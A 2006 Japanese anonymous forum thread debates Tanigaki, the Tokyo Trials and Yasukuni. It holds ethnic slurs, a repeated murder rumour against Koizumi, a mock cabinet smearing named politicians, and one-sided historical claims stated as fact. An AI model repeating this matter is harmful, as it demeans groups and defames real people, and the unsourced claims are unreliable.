「はい、ソ連領です。私たちはソ連領で密漁しました。」
と認めて釈放されたからって
彼らは、また日本人は、この事件を機に
「北方領土はソ連固有の領土です。」
って認識しないといけないのか？

お前の言っているのはそれくらいバカ。

またヒトラーですかw　思考停止にもほどがある。

>>132
またナチかよｗ
懲りないなおまいらはｗ

>>132
特定アジア以外でどこの国がそういう目で見てるか、挙げてくれない？
ちゃんとソースつきでね。あと、SFの靖国参拝禁止条項も早くね。

谷垣が”話を摩り替えるのがヘタだ”というのは解った
今の時期に総理をする器量じゃないな

>>134
>>134
それは政治的な関係者だけ。
外国にも第二次世界大戦の被害を受けた一般人がいる。
その人達にはどうだかね？ｗ

西ヨーロッパの人にまで、昭和天皇はヒットラー扱いしている人が大勢居るが？

第一次谷垣内閣閣僚（妄想による予想）

内閣副総理大臣 谷垣 禎一
(たにがき さだかず） 衆院 京都5区　当選9回
昭和20年(1945年)3月7日

内閣副総理大臣 古賀 誠 （中国枠にて入閣）
(こが まこと） 衆院 福岡7区 当選9回
1940年8月5日

総務大臣 小沢　民　　（中国枠にて入閣）
[Shao Tak-ming] (1942- 日本人民共和国主席)　岩手4区　当選13回
昭和17年（1942年）5月24日

法務大臣 浜四津 敏子　　（創価枠にて入閣）
(はまよつ としこ)　比例区　公明党　当選3回
支持母体の創価学会婦人部に絶大な人気。

外務大臣 山崎 拓（山�ｱ 拓) 　　（壺枠にて入閣）
(やまさき たく、本名：やまさき ひらく) 衆院 福岡2区　当選12回
昭和11年（1936年）12月11日
関連文献『せんせい : わたくし山崎拓自民党幹事長の愛人でございました』
山田かな子著、飛鳥新社、2003年4月、ISBN 4870315564

防衛庁長官 二階　俊博 　　（中国枠にて入閣）
(にかい　としひろ) 衆院 和歌山3区　当選８回
昭和１４年２月１７日生
中国様に太いパイプがある。イケメン。

ハニー谷垣 の検索結果 約 943 件中 1 - 10 件目 (0.05 秒)


おまえら、新ニックネームの増殖スピードが遅いぞw

谷垣、歴史問題を政局にしたがりすぎ。
こんな後ろ向きの宗教論争じみた議論しても仕方なかろうに、、
やるならば、日本の安全保障と経済、社会保障の問題っつう現実的な問題を
議論しろよ。

最近の労働環境関連スレ　拾ってみました。こりゃ日本もいよいよヤバイかも

【労働環境】「就職氷河期世代の年長フリーターの固定化、社会負担増」　労働経済白書[060808]
http://news18.2ch.net/test/read.cgi/bizplus/1155042366/l50
【労働環境】｢偽装請負｣：ハローワーク不正求人500件以上、今年3月以降分だけで・東京都内 [06/08/17]
http://news18.2ch.net/test/read.cgi/bizplus/1155826280/l50
【労働環境】20代の所得格差広がる:年収150万円未満2割超、半面500万円以上も増加…労働経済白書 [06/08/08]
http://news18.2ch.net/test/read.cgi/bizplus/1155047140/l50
【労働環境】松下電器系MPDP社員、請負会社に大量出向…｢偽装請負｣違法性回避策？ [06/08/01]
http://news18.2ch.net/test/read.cgi/bizplus/1154385650/l50
【労働環境】労働法制見直し始動　一定年収で残業代なくす制度も提案[06/06/14]
http://news18.2ch.net/test/read.cgi/bizplus/1150215040/l50
【労働環境】トヨタ系部品会社｢光洋シーリングテクノ｣、偽装請負労働者3分の1を正社員に [06/08/06]
http://news18.2ch.net/test/read.cgi/bizplus/1154818340/l50
【労働環境】請負労働者ら非正規雇用者の社会保険加入を徹底へ…社保庁が実態調査 [06/08/10]
http://news18.2ch.net/test/read.cgi/bizplus/1155163810/l50
【労働環境】松下PDP｢偽装請負｣問題、10月以降｢請負｣の一部を直接雇用…割合は｢現時点で未定｣ [06/08/03]
http://news18.2ch.net/test/read.cgi/bizplus/1154557212/l50
【労働】松下PDP、「派遣」で補助金受給後、「請負」に変更 −赤旗−[8/8]
http://news18.2ch.net/test/read.cgi/bizplus/1155037491/l50
【企業】トヨタ系が労災事故を労働基準監督署に報告せず　愛知のトヨタ車体精工[060813]
http://news18.2ch.net/test/read.cgi/bizplus/1155429558/l50
【厚生労働省】雇用改善で少子化対策を…労働経済白書「格差」に警鐘[2006/07/17]
http://news18.2ch.net/test/read.cgi/bizplus/1153083061/l50

>>132
そう見ているのは特アとお前だけ

アメリカも区別論で日本国民など助けずに皆殺しにしてりゃあ、日本も今になって恥をかかずに済んだのだ。

政治家は政治だけやってればいいよ。
歴史は学者にでもまかせておけばいいよ。

マッカーサー創るところの「極東国際軍事裁判所条例（チャーター）」に基づき、いわゆるA級戦犯２８人が起訴されたのは昭和２１年４月２９日（昭和天皇の誕生日）であった。
すべての審理が終了したのが昭和２３年４月１６日。以降裁判のため７ヵ月の休憩に入り、判決は同年１１月４日から始まった。判決文の朗読が終わり、最後の「刑の宣告」が
行われたのが１１月１２日あった。東條元首相以下７人（東條英機、土肥原賢二、廣田弘毅、板垣征四郎、木村兵太郎、松井岩根、武藤章）が処刑されたのは１２月２３日（今上天皇の誕生日）であった。
つまり東京裁判は昭和天皇の誕生日に起訴し、当時皇太子であられた今上天皇の誕生日を期して処断したのである。この一事をもってしても、いかに執念深い復讐のための裁判だったかがわかろう。

>>142
いると言うのなら出して見れ
まあ、事実と違うように解釈してるなら
その誤解を解くように説明すれば良いだけ

>>142
話をはぐらかすのはもういいから、
SF講和条約を受け入れると、靖国参拝がNGになる関連を説明してくれよ。

>事後法で裁いたなど問題はあるが

問題あるって認めてるのかw
論理が破綻してね？

>>142
特亜論理の拡大解釈はやめてくれないか？

>西ヨーロッパの人にまで、昭和天皇はヒットラー扱いしている人が大勢居るが？

ソースぐらい出してからほざけ。

>>142
特殊な人達を一般扱いしてはいけませんねｗ
とくに戦後６０年を経たいまでも金クレなんて叫んでいる基地害どもは
それなりの扱いをするしかないだろｗ

あと２０年放置しとけばいい訳でｗ

>>151
>いると言うのなら出して見れ

はいはい、メルヘンの世界にひたってくれ
現実なんていくら説明しても無駄だろうからｗ

昭和天皇は戦後、オランダなどのヨーロッパを訪問できなかったのは何故だか調べてみたまえ

>>156
なぜだ？
言ってみろｗ

>>156
普通に訪問してるけど？また息するように嘘を吐く。

谷垣は歴史を争点にしようとしすぎるんで、俺はそこら辺が鼻につくんだが、
どっちにしろ、こいつは無いね。
というのも、消費税のことを取り上げすぎるよ。これは致命的だ。
歴史のことには余り興味ない俺の親父なんかは、この消費税の話を聞いて、
「こいつ俺らの生活のこと何にもわかってねぇな。」
っとか言ってるぜ。

>>152
>SF講和条約を受け入れると、靖国参拝がNGになる関連を説明してくれよ。

バカには理解不能だろうな。
http://www.21ccs.jp/china_quarterly/China_Quarterly_01.html

とりあえず「東京裁判を全否定します！」とかいっている奴がいたんか？
「全否定したな！」と勝手に解釈しているだけじゃないだろうな

＞東京裁判肯定論者


加藤でも谷垣でもこういう連中が政治家として生きられないように支那いとな

ＴＢＳ見たあとこれ見たらむしろ電波が弱いと思った

>>160
説明済み
ドイツ政府がヒットラーの墓を参拝するかね？ｗ

>>1
国会で決まった全会一致での戦犯への免赦も受け入れろよと言いたい。

>>164
靖国は墓じゃないな

生放送で安倍と討論でもしてみろよ。
日本国民そこまで馬鹿じゃねーぞ。

>>160は、バカだから説明できないみたいだなｗ

だが、東京裁判が終わって２年後の昭和２５年１０月１５日マッカーサーはウェーキ島においてトルーマン大統領に「東京裁判は誤りであった」旨を告白して、
すでにこの裁判の失敗を認めている。その翌年の５月３日、アメリカ上院の軍事外交合同委員会の聴聞会で「日本が第二次大戦に赴いた目的は、そのほとんどが
安全保障のためであった」と、東京裁判で裁いた日本の侵略戦争論を全面的に否定しているのである。
のちに、「この裁判の原告は文明である」と大見得を切ったキーナン主席検事も、あの傲慢なウエッブ裁判長も、この裁判は法に準拠しない間違った裁判であった
ことを認める発言をしている。現在名ある世界の国際法学者で、東京裁判をまともに認める学者など一人もいない。パール判事の立論こそが正論であるとし、
パールの名声は国際的に高まった。
1953年、パール博士はジュネーブにある国際司法委員会の議長の要職に推挙された。1960年にはインド最高の栄誉賞であるPADHMA・RRI勲章を授与された。
同時にインド国際法学会の会長に就任され、のち世界連邦カルカッタ協会長にも就任した。1967年1月10日カルカッタの自邸において多彩な生涯を終えられた。
死の前年、すなわち昭和４１年（1966）１０月、パール博士は清瀬一郎、岸信介両氏の招きに応じて四たび来日され、天皇陛下から勲一等瑞宝章の受賞の栄誉に浴されたのである。

>>164
ドイツは全責任を「ナチス」に押し付けましたがなにか？

俺は受け入れた記憶は無いな。
誰だよ勝手に受け入れたのは。

Japan Accepts the Judgement of the Trial

以上。

裁きを受け入れるとは、
刑の執行を拒否したり、中止させたり、
再審を請求したいということ。

サンフランシスコ講和条約が締結された当時、
ハーグ条約に従ってただちに解放されるはずだった何千人もの戦犯が
まだ服役中だったからだ。

>>160
だから、SF条約の第何条何項にそれがあるんだ？
馬鹿に分かるようにきっちり説明してよ。

今更、肯定も否定もあるかｗ

なぜ国内だけで延々と議論だけしてるかというと、昭和天皇に戦争責任が及ぶからでは？
今更ひっくりかえして昭和天皇をＡ級戦犯にしたいわけ？ＡＬＬ

>>170
大日本帝国臣民の一部は、全責任を「日本人」に押し付けましたね

谷垣は誰にこれを言わされたんだろう
本当に自分で考えて喋ってるのか？

>>164
ドイツと一緒にするんじゃねーよ！

ドイツは人種差別

日本はアジアの解放

やったことは正反対！

http://www.melma.com/backnumber_45206/
「宮崎正弘の国際ニュース・早読み」　
平成１８年（２００６年）８月１４日（月曜日）

「大地の咆哮」は従来の日本の外交官は勿論、中国専門家も書くことを躊躇する
ようなリアルな中国の実情を記したものです。
北京オリンピックが迫ると言うのに、恐るべき水不足の進行とそれに対する無策
。およそ近代とは思えない中世以前を思わせる、農民に対する制度上、実質両面
の酷い差別。医療、失業、老後などに対するセーフティーネットの崩壊。社会正
義など存在しない、不公正、不公平そのままの物凄い貧富の格差。荒れたままで
政府の援助がほとんどない務教育の現状と遅れ。官僚の腐敗と汚職。・・・。中
国の実態は、不公平、不公正、不正義我慢遠し、明日崩壊してもおかしくない酷
さであることが赤裸々に描かれています。
要は「弱きを助け強きを挫く正義の味方」であるはずの共産主義社会が今や「弱
きをくじき、強きを助ける、逆鞍馬天狗」のとなってしまっている。つまり中華
人共和国なる国家は、今や、解放軍、武装警察、警察による力で辛くも維持され
ている状態であることが示されているのです。

　先ず、杉本氏は自分を殺したものが中国、即ち恐るべき中国の環境汚染であっ
たことを書く暇がありませんでした。仄聞するところでは、90年代後半某邦銀の
北京支店長夫人が肺癌で死亡、次の支店長本人も肺癌で死亡ししたとのことです
。日本のメディア葉報じていませんが、中国の環境汚染はエリート外交官の命を
奪うほどのレベルにきているのです。
汚染ワースト世界10大都市の中で中国当局によれば5都市が、又国際機関によれば7
都市が中国の都市だそうです。環境モデル都市の北京でさえ04年10月に予定され
ていたフランス航空ショーを大気汚染の観点で中止しなければなりませんでした
。上海の街を走る100万台の自動車の70％は最も古い欧州の排ガス規制を満足して
いないそうです。石炭の出す亜硫酸ガスが原因の酸性雨は黒土の１/４、農地の1/
３を汚染し、日本の酸性雨の50％は中国から来ています。黄砂には、愛期中に浮
遊している鉛、マグネシウム、ダイオキシンが含まれています。

谷垣を全否定。
自民党出て社民党にでも行け。

>>164
そのこととSF講和条約はどういう関係があるの？
ヒトラーの墓参りをしてはならないという、条約や法律でもあるの？
ドイツの政治家がヒトラーの墓に参らないのは、何に拘束されているからなの？

逃げ回らずに説明してよ。

まあ、ナチやヒトラーを持ち出すヤツは無知か煽りだろ

んで、今度は東京裁判を争点化する、テレ朝と共同については皆さんどういった見解をお持ちで？

>>174
今時東京裁判を肯定してんのは特アだけ

何度言ったら分かるんだ

判決を受け入れたのであって、裁判の正当性を受け入れたわけではない。
ハニートラップ男、何を言ってるんだか。

条約結んだ時にしっかり謝罪と賠償はしたことになってるんだから、
中国や韓国が賠償賠償さわぐのはおかしいことだと言うべき

どうでもいいけどパール判事の写真ってカッチョイイよな
明治天皇もカッチョイイ

小泉首相（以下、「小ネズミ」と云う）にまつわる疑惑として「愛人小はん変死事件」がある。
これも「慶応大学在学中の女子学生レイプ事件」同様に事実でない中傷告発であったとしたら、
これを喧伝する者は愚かということになる。しかし、これが真相であったとしたら、事は由々しき事態である。

「愛人小はん変死事件」とは、「小ネズミが新橋芸者小はんをSMプレイ中に絞め殺したのではないか？という疑惑」である。
既に「あの事件は、そうとれることが多い」と指摘されている。「小泉純一郎愛人小はん変死事件の真相」の告発は、
かなり具体的に記されているのが初見のように思われる。

これが真相としたら、新橋芸者小はん死亡事件は再検証される必要がある。
小はんは、着物の帯がドアの上の部分にかけてあったのでそれが首吊り用のものだと認定され、
自殺として処理された。死体には抵抗の後が見られない為、
他殺には推論されにくい。しかし、遺書が残されていた。これをどう説明するのか。「それは偽造である可能性がある」と云う。

彼女の死亡推定日は日曜日であり、発見は水曜か木曜日であった。
検死される事も無く翌日にすぐに荼毘に付されている。ところで、
死亡推定日の日曜日は国会が休みの為、
小ネズミが一緒にいた可能性がある。死体発見時、小ネズミは広島にいた。
何の用事で広島にいたのかが釈然としない。小ネズミの広島出張には必然性が無い。
即ち不自然である。その小ネズミは、翌日の告別式に参列していない。
これにつき、匿名氏は、飯島が激しく止めたらしいとコメントしている。

gtuKlwHw0
こういうのが典型的ネトウヨなんだよなーｗ

北方領土の銃撃話は３ヴァカと同じ話で終わらせようとするし、
解放言うヤツがチョソ市ね言うなよと、小一時間問い詰めたい。

>>175
それは違うと思う。
（-@∀@）に扇動されたとはいえ、戦争への道に向かっていたのは国民自身。

他に手段は無かったと思うが。

村上ファンドの記者会見思い出した
全部僕が悪い、全部僕が悪い、全部僕が悪い！

谷垣さん、毎日どんなことに追われながら暮らしているのだろう。半分、ｱﾜﾚw

>>174
当時３０代の昭和天皇の責任は監督責任がどうかだろ。
戦争責任なんて無いよ
まして国際法には違反なんて皆無だから犯は電波しかいわない

>>174
タブーにする必要はないよ。
陛下に責任があるか否かも大いに論議するべきだな。

「大将」加藤紘一の子分だからなぁ

プロレスのヒール役みたいだな谷垣は

谷垣大丈夫か？日に日に電波度が増しているというか、典型的ダメ左翼化が進んでる気が・・・

賠償・領土割譲されない代わりに、何人かの人々を生贄に捧げたという事実に対して
「判決を受け入れた」のが東京裁判でしょう。

>>158
昭和天皇の英国訪問は普通とは程遠い状況だったみたいだな。

>>193
議論も何も本人は認めておられるぞ。
マッカーサーと対峙しておられる。

★官僚の海外留学に日当1万円
役人天国ぶりが、また明らかになった。
国土交通省のキャリア官僚が平成16年5月に会計検査院に提出した書類には
用務・コーネル大学留学のため、滞在費9600円×365日＝3,504,000円と
書かれてある。
これはキャリア官僚が官費留学した際に支払われる“日当”の請求書なのだ。
官費留学に日当が出るというのは初耳。国会で質問した民主党の前田雄吉議員が言う。

「留学中も月々の給料はきちんと国から支払われている。にもかかわらず別途
“お手当”がつくのです。もちろん渡航費、学費は別に支払われる。だから驚きです」
厚遇はまだある。同じく国交省の官僚が平成16年4月に、京都から新任地の
東京に向かった旅費には扶養親族移転料という項目で、
12才以上1人につき鉄道費13650円　日当1733円、
6才以上12才未満1人につき鉄道費6820円　日当866円とある。
旅費以外になぜ手当が付いているのか？

「谷垣財務大臣は国会でこう答弁しました。留学中の日当については
“海外留学中は何かとお金がかかるので、もろもろの諸経費にあててもらっている”そうです。
妻子の日当は“昼食費にあててもらっている”と答えていました。こんなお手盛り手当は
民間企業ではあり得ません」（前田議員）

最近の若手官僚は官費留学でＭＢＡを取得した後に民間企業に転出するケースが多い。
これって「盗人に追い銭」じゃないのか。
税金を上げる前に省くべきムダはたくさんある。
時間経過によりリンク切れあり↓
ソースttp://news.www.infoseek.co.jp/gendainet/story.html?q=12gendainet02026807

>>177
それは喪前の脳内だけｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

>>180
ドイツ政府が墓参りしてみろｗＥＵ連合が吹っ飛ぶわｗ
公約云々とか禁止とかいう問題じゃなくて、一般常識として参拝するほうが成り立たないといってるに

ID:gyX/RIJS0
法律論じゃなく
国際的信用とか信義則とか
そういうものもあるでしょ

前に朝まで生テレビを見ていたときだが、

中国と組むよりはアメリカと組むべきだ、しかしイラク戦争は反対だ、という意見に対して

司会者が何でイラク戦争に反対なの？アメリカと組むなら当然全部賛成なんじゃないの？とか言って萎えたのを思い出した


言うこと全部聞くか、全部否定するかのどちらかしか思考にないんだろうな、ペットだから

>>189
扇動されただけではなく、国民は自らも扇動したよ。
メディアも政治もどちらかというと、国民に追随した感じ。

今の政治は昭和初期から太平洋戦争に突入したときと重なる。

>>202
田原は馬鹿だから仕方ないよ
ま、番組を面白くしなきゃいけないしね・・・

東京裁判がインチキだとか言ってる奴らは
日本がアメリカの占領下に戻ってもいいと思ってるの？
日本が敗戦国だということを忘れてないか。

>>200
つかお前、靖国に墓があると思ってるのか？
まったくこれだから特亜は話にならんｗｗｗｗｗｗ

政治責任はあくまで政治生命で負うべき

戦争で下っ端が沢山死んだから上も死ねなんてのは只の赤い嫉妬

こいつは「私は靖国には参拝しません」と宣言したことといい、
ﾊﾟﾌｫｰﾏﾝｽの全てが国内向けじゃなく中韓向けだな。

まあ、受け入れるとして、「生前戦争犯罪人であった」人が
まつられてる施設に参拝することは何の問題もないと
思うんだけど？

管理者責任

>>206
混同しちゃあいけない。
インチキを裁判のふりして処刑したことで確かに日本は直接的な被害を軽減したが、
それと東京裁判がインチキであることは交換可能な事実ではないよ。
どちらもそれぞれに受け入れるべき事実。

判決受け入れたって、その後関係11カ国の同意を得て釈放してるのに。
同意した国には中共も含むぜ。

一度同意しておいて、今更また戦犯ですか。

占領下においての条約でも正しいというのであれば
同じ論理で韓国併合は韓国が日本に求めて行ったものだと言えなきゃ駄目

>>132
ハニー谷垣の「われわれ」と同じく朝日が「一般」なのかな
講和条約では刑の執行をアムネスティ条約があるがこの場合は
特別に継続すると書かれているだけですけれども
他の解釈があるのですか
連合軍が殺した人は認めるも認めないも無いではないですか
条約にならないでしょうカルトであるまいし
>>184
他国のことは言いたくないが「反ナチ法」があるはずだ
墓は知らないが行けたら冥福を祈りたい

>>201
しかし、>>122はSF講和条約の受け入れと関連付けいていますよ。

>>200
で、日米同盟は決裂した？G７から追い出された？
状況見て物言おうね。日本は全然、何ともなってませんが？

で、谷垣さんは東京裁判を肯定してるってことでいいの？
日本の保守層を敵に回すけど、いいの？

>>210
その思考が狂ってるというに

>>200
＞公約云々とか禁止とかいう問題じゃなくて

>>122
＞受け入れたらこそ

書いてることがコロコロ変わってるなｗ
SF講和条約受け入れと、参拝にどういう関係があるんだ？
速く説明しろよ。

ちなみに、今更ドイツにネオナチ政党ができても
ヨーロッパはひっくり返ったりしないよ。

>>210
いやいやｗ
それがおかしいって言ってるんだろ

テレビ番組で旧日本兵だった老紳士が言ってた。

「中国、韓国から強制的に日本へ連行された人々は食事も与えられずに売春、
炭鉱などでの肉体労働、人体実験（麻酔なし解剖）等をさせられ戦争が終わる
まで何年間も家畜以下の生活を強要され続けてきたのです。これは１００年間
謝罪しても、お金をいくらあげても決して許される事ではないのです。
この隣国に少しも配慮してくれない一国の長が日本に居る事が情けなく思います。」

結果！　６１歳以上の戦争を知ってる人、大人しくして下さい！
　　　　
　　　　それ以外の若い人達は一切責任はありません、怒ってください！

来年に、安部が”靖国神社”にいっても、
話題にはならない。
それより、今度の国政選挙で自民党”大敗”だろう。

>>223
国民に支持されてるのに？

>>223
そうはいかんな。
民主党があのザマでは・・・・。

まぁ裁判なんていい加減だよなー
アルフレット・ヨードルOKW作戦部長も死刑だしな
何やったってんだよ

言論弾圧や信教の自由を圧殺、チベットなどを強制的に併呑している中国。
独裁体制で言論弾圧や信教の自由はもちろん、食べるものもなく脱国者が絶えない北朝鮮。
日ソ中立条約を一方的に破棄し、シベリアへ100万人規模で強制連行し虐殺したロシア。

こんな国々へ追従し、対応を間違って日本が支配されてみろ！
みんな法輪光のように拷問され殺されるんだぞ。
民主主義でない国の意向を第一に考える売国奴に日本の国を任せられない。

ってか若者はみんな知っている事を何故５０代以上のオヤジどもは分からないのかな？
やっぱりその国を滅ぼすには教育からって本当だな。

何というか…
正しい事ばかりでは世の中は回らないのね(泣)
谷垣を後ろで操っているのは誰でしょう？

谷垣みたいな官僚代表が総理になったら
役人天国の暗黒時代が来るよ。

>>207
靖国に言ったことないのか？
すぐ隣にある無数の墓はアレは、何？

>>200
参拝と墓参り混同してる時点でお前は駄目ｗ

タニガキはやはり弱みを握られているのかね？

436 ：名無しさん＠６周年：2006/08/20(日) 18:49:50 ID:0QYOrvz10
何いってんのお前ら。
中国はいまに日本を支配する。
日本は中国に永続的に賠償しつづける。これ真理よ。
中国に永遠に朝貢するのは日本の義務ある。

天安門事件なんてだれも知らないからおこってない。
文化大革命？　何それ。　日本人が８０００万人殺したんだろ。
チベット？　そんなのない。あれは中国の一部。人民はみんな毛沢東に感謝してる。
日本は中国が教える歴史だけを勉強しろ。
ともかく、日本人は中国にとどめをさされたんだから中国のいうことを聞け。
李登輝いれたら紀子の出産とあわせてミサイル打ち込むぞ。
日本は中国のかわりに国連分担金全額払え
島はすべて中国のものだ。
沖縄も琉球でもともと中国だし住民もそれ望んでる。米軍基地は２００９年までになくす。
天皇のサイパン慰霊は絶対許さない。中国人民を殺した日本兵を慰霊したことで
天皇はわれわれを怒らせた。２度と慰霊するのはゆるさん。
退位しろ。
谷垣、覚えているだろうな。お前埋め込んだカプセルはいつでもこちらが破壊できるんだぞ。
さっさと投票結果をいじって総理になれ。

谷垣は確かに優秀だが所詮は官僚だな
とてもトップの器じゃない

>>223
どうかな？
靖国参拝は票稼ぎに利用でき可能性もある。

靖国参拝する。
↓
支那朝鮮反発。
↓
ここで自民党を負けさすと、内政干渉の容認につながるという国民感情から、
自民党に集票。
↓
自民大勝。

ちょうど、米国が戦争すると、その戦争の良し悪しは棚上げされて
現職大統領支持が高まるような効果があるかもしれない。

しかしまぁ、神道を理解しないで文句言ってくるってのは
どういう神経してるんだか・・・。


特亜のいいがかり。
以上。

>>227
何を知ってるって？
正義感だけだったら、今でも日本は米の植民地のままなのだが？

無条件降伏したことを忘れるなよｗ

〜∞　　　　（　　　,,　　　）　　　　　）
　　　..　　 　　）　　ﾞﾐ;;;;;,_　　　　　（
　　　　　 　　　　　ミ;;;;;;;;､;:..,,.,,,,,
　　　　　　　　　　　i;i;i;i; '',',;^′..ヽ 〜〜∞ﾌﾟｰﾝ
〜〜∞ﾌﾟｰﾝ　　　　ﾞゞy､､;:..､）　　｝
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　　　　　　　ヾ,,..;::;;;::,;,::;):;:;:; .:v､冫_._ .､,_,,､_,,r;_,ノ′　! '゛i;:;:;;!、
　〜∞ﾌﾟｰﾝ　ヾv.;;;:ミミ彡ﾐミﾐ彡彡ミミﾐﾐ:;:;ノ　　　, '⌒゛　　 ヽ、
　　　　　　　　　,,彡彡彡ミﾐﾐ彡彡彡彡彡彡 　　/　,　、,, 　 ,;. ,|
　　　　　　　　　ﾐﾐ彡彡ﾞﾞﾞﾞﾞ""""""""ヾ彡彡彡　|　 |　 '" i　゛| |
　　　　　　　　　ミミ彡ﾞ；・；：国賊:：；：;ﾐﾐ彡彡.　. |　 |,、 　 !,　! |
　〜∞ﾌﾟｰﾝ　...ﾐミ彡ﾞ　.,.,・：；：・　*： ﾐﾐミ彡　 。-.＼f, 　 ,y　！
　　　　　　　　　ﾐミ彡 '*・..,ヽ・；；´*｀ ,|ミﾐ彡 。；゜／´　　,　　,）
　　　　　　　　　ﾐﾐ彡　===　〈.：..===）.|ﾐミ彡 ；｀；;　　,/ ,;-'" ヽ
　　　　　　　　　　彡|；：・　；　|　； ・： |ﾐ彡 ；。；ヽ　　!　　ヽ.　ヽ
..　〜〜∞ﾌﾟｰﾝ　彡|；：.,*.;..´-し｀)・；：|ﾐ|ﾐ 。；。、ヽ　ヽ.　　ヽ、_ヽ
　　　　　　　　　　 ゞ|　：；：；　､,!：；・： |ソ　。、　　　|　y′　　　）,;冫
　　　　　　　　　　　　ヽ　';´*.,,.・；：`ﾉ /
　　　　〜〜∞ﾌﾟｰﾝ　 　＼､..・；*；：／ 　←逆賊　朝敵　売国奴　ペテン師　最重罪人
　　　　　　　　 　　　　　~； ~| |：：；； ~~
　　　　　　　　　　【　　　ゴ　　　　ミ　　　】　　　〜〜∞ﾌﾟｰﾝ

反日の日本総理って今までいたかな？

受け入れたのは裁判でなく判決だろうが。

>>230
その前に神仏の区別ぐらいつけて欲しいものだな。
マジで話しにならんわ。

東京裁判の判決は受け入れたけど、
それ以外の妙な思想まで受け入れた覚えはないぞ。

>>236
国体の護持は認めさせたの無条件ではないのですが？

中国なんて清国時代ヨーロッパ諸国に侵略されまくってたくせに

反日プロ市民団体ご用達で、全国で嘘をばら撒いてる
「プロ語り部」の話をそのまま信用してはダメだよ。

「日韓誤解の深淵」　西岡力　1992　亜紀書房
=====================================================
また、いわゆる「強制連行」の実態に関しても、一般で認識され
ているのとはかなり違う実態があったことが少しずつ明らかにな
ってきている。たとえば朝鮮総督府が行なった土建労働者の
「官斡旋」による道外募集（いわゆる強制連行の一部とされている）
では、使用者に対して賃金、待遇などで労働者を厚遇するように
かなり細かく指示している。たとえば飯場料は賃金の二分の一以下
とするとされており、借金づけによるタコ部屋化を禁じている
（くわしくは広瀬貞三「『官斡旋』と土建労働者」、『朝鮮史研究会
論文集』第29集参照）。

戦後賠償はカタがついてるし何度も謝罪してるし
これ以上過去の「歴史」をどうしろって言うのかね。
靖国参拝を止めたって歴史の「捏造」は止まないしね。
それよりも現実に日本は中韓に領土を「侵略」されているし
あっちが日本を舐めているので６ヶ国協議もうまくいかないし
東アジアの安全保障もボロボロで超不安定だよね。
谷垣みたいな平和主義者を装ったハニーが結果的に戦争を起こすんだよね。

>>236
無条件降伏なら占領後に直接軍政布かれてるよ？ドイツはそうだったけど
日本は「日本の議会経由」だったから無条件とは違うよｗ

東京裁判には正当性が欠けているが、日本は受け入れることを
講和条約で明記してしまった｡
だから、不当な判決ではあるが譲歩して条約に沿った行動を
日本政府は取らなければならない｡

しかし、刑死者を神社に祭ることや慰霊・追悼・顕彰することや
民間人あるいは民間の教科書会社が東京裁判の不当性を明らかにすることは
東京裁判においても条約においても禁止されていない｡

当然、それらの行為は条約による制限を受けないので日本政府・日本人が
譲歩する必要はなく、望むとおりに行う自由がある｡
小泉にせよ安倍にせよ講和条約に違反する類の東京裁判全否定などしていない｡

>>222
紳士かどうか怪しいな
そのようなことをかたるのは
兵が知り得る立場でないし

SF条約の捕虜釈放条件を受け入れるために判決を認めただけだろ。

そもそも中国も韓国も極東軍事裁判に全く関係のない国だし。
サンフランシスコ講和条約に両国とも無関係だし。

己の分を知らないで何を血迷い総裁戦出馬なのかと、ずーと不思議
器じゃないだろ、人の下で働くタイプ
信念などかけらもなく、右見て左見ての卑しさばかりが目に付く
消費税上げ主張も、靖国参拝NOも全て自分を目立たたせたいだけの計算にしか見えない
丁度中国にも尻尾つかまれてるって話らしいし

占領国に押しつけられたようにしかみえません

「日韓誤解の深淵」　西岡力　1992　亜紀書房

また、1944年に広島の軍需工場に徴用された鄭忠海氏は90年に
日本で出版した手記（『朝鮮人徴用工の手記』河合出版）の中で、
新築の寄宿舎で新しい寝具が準備され、食事も十分で満足でき、
仕事は日本人女子挺身隊員といっしょであり、「女性たちとの
恋だの愛だのということに心をうばわれているようで、工場内の
風紀は言葉にならないほどだった」と書いている。

ダニガキがトップになって荒廃していくニポンてのも
傍観するぶんには傑作だと思う。

中国の犬、谷垣。

谷垣は墓穴組に加入か

靖国参拝はサンフランシスコ講和体制への挑戦で国際的に許されない。

http://www.miyadai.com/message/?msg_date=20020429

■サンフランシスコ講和体制の意味が理解されていない。典型は靖国問題。
どこがいけないか。(1)首相や大統領が自国・他国の戦没者を墓参りするの
は国際常識。(2)二十五年前に靖国が一宗教法人化した以上Ａ級戦犯を祀る
のは信教の自由ゆえに勝手（むろん私人同士の批判合戦は自由）。(3)戦時
合法行為や統帥権独立下での文官を裁く等Ａ級戦犯を絞首刑とした極東国際
軍事裁判の不公正は論を待たない。

■そんな当然事をいつまでグダグダ騷ぐか。マスコミが騷ぐ当然事とは別に
大切なのは、首相や大統領による自国や他国のＡ級戦犯が合祀された墓地へ
の参拝が、戦犯を規定した講和体制への挑戦になること。むろん前述の如く
戦犯の規定は虚構だ。その虚構で国民（と天皇陛下）を免罪し、当事国が
復興協力する。

■戦犯は悪くなかったというのは、復興協力した条約当事国や戦後賠償を
放棄した隣国への裏切りになるのみならず、軍部を翼賛した民間（朝日新聞
や文藝春秋も含まれる）の責任、天皇陛下の責任を問うことを意味する。
内外への重大な信義違反だ。しかも無自覚な。

>>257
そのソース元になんの意味があるんだい？

>>242
その見返りにＡ級判決を受け入れたと解釈するが？

>>257

中韓ともに条約当事国じゃねーし。

>>257
宮台は外国人なので放置してください。

>>1

といいつつ、なぜか日本においてA級戦犯などは存在しないという国会決議は全否定する不思議な奴

>>230
墓なんてあったか？裏に寺かなんかはあるから、それじゃねーのかな。
靖国のご神体は霊璽簿だよ。靖国にあるのは霊璽簿と奉納された遺品や遺影だけ。
位牌やら墓やらは各々の家や墓所にあるだろ。アホか。

ま追悼なら強制収容所所長でも問題無いようだ。

http://www.yorozubp.com/0606/0606284.htm
その後独伊間で水面下の交渉があって、１９９２／９３年にドイツ側は、１）金属製碑板「栄誉の書」の
三人の名前（、ヴィルト、ライヒライトナー、シュヴァルツ）を削って消し、２）墓石の刻み込まれた三人の
所属と階級表示を消して名前だけにして、３）この軍人墓地が戦没者追悼のためであることを内容と
する碑板をつくるという措置をとって、その結果また以前と同じようにイタリア人関係者も「国民哀悼日」の
式典に出席するようになった。

>>236
少なくとも日本国内では国会決議で戦犯という者はいなくなっている事を知りましょう。
それを踏まえれば、中国韓国が靖国参拝を非難することは「内政干渉するな！」の
一言で終わりになるんだよ。

分かったかなサヨ君

>>247
間違い

講和後も釈放せず巣鴨に置いたことで
この条文は現在終了なんの意味もない

